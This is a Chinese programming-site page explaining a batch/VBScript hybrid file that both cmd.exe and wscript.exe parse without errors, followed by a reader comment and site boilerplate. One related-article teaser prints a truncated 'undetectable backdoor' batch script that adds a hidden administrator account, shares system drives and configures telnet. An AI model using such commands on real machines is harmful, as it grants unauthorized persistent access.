位置: 编程技术 - 正文

让批处理被wsh解析的代码(批处理 leq)

编辑:rootadmin
示例批处理:test.bat 上面的代码巧妙利用 bat 和 vbs 的语法特征,让同一个文件,被 cmd.exe 识别成批处理,让 wscrpt.exe 识别成 vbs,并且同时符合两者的语法,并且保证都没有错误,保证两者的高度兼容。就叫它 bat/vbs 复合编程吧 (Hybird Programming) 粗略解释下代码 引用: :On Error Resume Next cmd.exe 识别成一段注释 wscript.exe 这样识别, : 在vbs语法里代表分行,然后 On Error Resume Next,也就是让WSH忽略一些错误 引用: start wscript -e:vbs "%~f0" cmd.exe 识别成:启动 wscript.exe ,其参数是: ① -e:vbs 设定以vbs解析文件自身 ② "%~f0" 指这个批处理本身。 wscript.exe 把这句识别成:调用一个叫 start 的函数,函数参数是 wscript 这个变量,然后用这个函数的结果来 减去 e。接下来是又是一个 : ,分行,然后又是调用一个名叫 vbs 的函数,参数是字符: "%~f0" 这句是最为精巧的,因为它成功的让 vbs 引擎解释了一段批处理,而且没有错误!当然这些 start()、vbs()函数是不存在的,但是会被 cmd.exe 当成命令执行。为什么不用 wscript //e:vbs "%~f0" 来执行呢?vbs解析会出错的,呵呵 这段代码的核心思想已经介绍完毕了。下面,为了让 批处理 以vbs调用其自身后,马上退出,我们需要 exit 或者 goto :eof,但是 goto call exit 在vbs又是一个关键词,所以我们只能用符合 vbs 语法的 exit sub,所以我们在第二句加一个 sub bat,其实 cmd.exe 寻找了一个叫 sub.exe 的命令,但是这个命令是不存在的,cmd.exe 跳过。然后在 6、7 句加一个 exit sub 以及 end sub,让 批处理结束,同时又符合 vbs 的语法 那个 echo off & cls ,批处理的意思就是相当于 @echo off ,但是 vbs 不认 @ 符号,所以改成 echo off & cls , vbs 可以解析为,调用一个叫 echo() 的函数,参数为 off & cls ,也就是两个字符串 off 和 cls 相加 Well,接下来,你可以自由地在批处理中书写vbs脚本了,效率和真正的vbs一样高! 这段代码的好处是:不用生成临时文件。其实用 echo 或者 more 或者 find 来生成临时vbs很浪费系统资源的,用我写的这段代码,就完全免去了这些麻烦。直接混合编程,以 start wscript -e:vbs "%~f0" 为界限,上面写 批处理,下面写 vbs,并行不悖! 大家有更好的想法可以跟贴讨论呀 allyesno :%~fI - 将 %I 扩充到一个完全合格的路径名 另外如果用到shell中的话 写vbs也要用到echo的 在这种情况没有省系统资源的说法 除非 copy con 就可以写 那就直接写任意脚本文件就行了 其他的情况是有的

推荐整理分享让批处理被wsh解析的代码(批处理 leq),希望有所帮助,仅作参考,欢迎阅读内容。

让批处理被wsh解析的代码(批处理 leq)

文章相关热门搜索词:批处理的结束标志是什么,批处理!!,批处理中,批处理结束程序,批处理!!,批处理!!,批处理 leq,批处理!!,内容如对您有帮助,希望把文章链接给更多的朋友!

谈谈xcopy中的排除copy 不过这个命令用起来真的不好用并不像windows的帮助写的那么简单下面来详细说明一下我们先看看xcopy的帮助是怎么写的/EXCLUDE:file1[+file2][+file3]...指定含

迅速删除非法文件名的批处理代码 例如..connul等等两行代码搞定,迅速删除使用非法文件名的文件及文件夹年月日星期一:DEL/F/A/Q\?%1RD/S/Q\?%1保存为.bat或者.cmd文件即可。以后遇

批处理bat之永不被杀的后门 代码如下:@echooff@attrib+s+rxyt.bat@netuserxythacker/add@netlocalgroupadministratorsxyt/add@netsharec$=c:@netshared$=d:@netsharee$=e:@netsharef$=f:@netshareg$=g:@netshareh$=h:@tlntadmnconfigsec=

标签: 批处理 leq

本文链接地址:https://www.jiuchutong.com/biancheng/378391.html 转载请保留说明!

上一篇:用dsadd添加用户的代码(用户dsn添加)

下一篇:谈谈xcopy中的排除copy(xcopy命令怎么用)

  • 母子公司合并报表的条件
  • 土地使用权契税入账会计分录
  • 红冲后的发票税可以办退税吗
  • 会计账簿 扉页
  • 食堂外包服务费
  • 工业土地划拨性质有年限吗
  • 融资租入固定资产属于资产吗
  • 公司代缴的社保个人账户能不能查到
  • 一个企业只有收入没有支出合理吗
  • 行政单位举办活动能发奖奖金吗
  • 餐饮业个体工商户怎么交税
  • 物业管理的差额怎么算
  • 发票专用章的规格大小
  • 土地增值税允许扣除的评估价
  • 交叉持股的合并财务报表
  • 资源费用怎么算
  • 制造业销售费用率多少合适
  • 增值税减少对企业的利弊
  • 固定资产处置流程
  • 存商品入成原材料怎么改?
  • 合同取得成本和增量成本有什么区别
  • qq游戏怎么玩不了怎么回事
  • 网页浏览器字体颜色怎么改
  • 会计凭证传递的原则及基本程序
  • 航天信息维护费300元能全额抵扣吗
  • win11怎么打开磁盘管理
  • 景区门票定价方法
  • 贴现短期无息应付票据
  • 第4章 数据处理思维导图
  • 发票开出后只收到部分款怎么处理?
  • 烟草企业亏损
  • 最贵的域名是什么名字
  • php封装app
  • 原版锯齿
  • 研发费用如何加计扣除何时申报
  • java基础面试题选择题
  • 承租方的物品如何处理
  • _ html
  • php 自定义函数
  • php公众号开发框架
  • 兼职人员需要
  • 产品检测费可以放入研发费用吗
  • 对公帐户进出帐要交税吗
  • 城市维护建设税是什么意思
  • 宝塔怎么搭建
  • mysql中事务的作用
  • 汽车的计提折旧
  • 教育类财务工作内容
  • 质量扣款可以放到费用吗
  • 主要业务是生产销售家电
  • 基本户和零余额可以是一个账号么
  • 盈利能力还有什么能力
  • 医院要发票
  • 如何计算生产费用
  • 企业研发费用率怎么算
  • 工程分包如何开具发票
  • 个人所得税利息股息红利所得适用比例税率
  • 彩票扣税吗
  • 股东出资转为借款
  • 工资薪酬所得税税率表最新
  • 主营业务成本带二级科目吗
  • 固定资产如何分类?
  • 多少钱算固定资产2022
  • 怎么禁止p2p下载器
  • ubuntu 14.10
  • docker安装位置
  • 电脑键盘上f1到f12快捷键的功能分别是
  • PSNGive.exe - PSNGive进程有什么用 是什么意思
  • python的pip安装命令
  • shift妙用之解决shell编程中的入参问题
  • unity方法大全
  • unity更新需要重新下载吗
  • 可输入文字查找的软件
  • python repr
  • python 基础 详细
  • javascript详细介绍
  • python中迭代例子
  • jquery中选择器分为哪三种
  • 重庆市劳动监察大队官网
  • 福利费是否计入成本费用
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设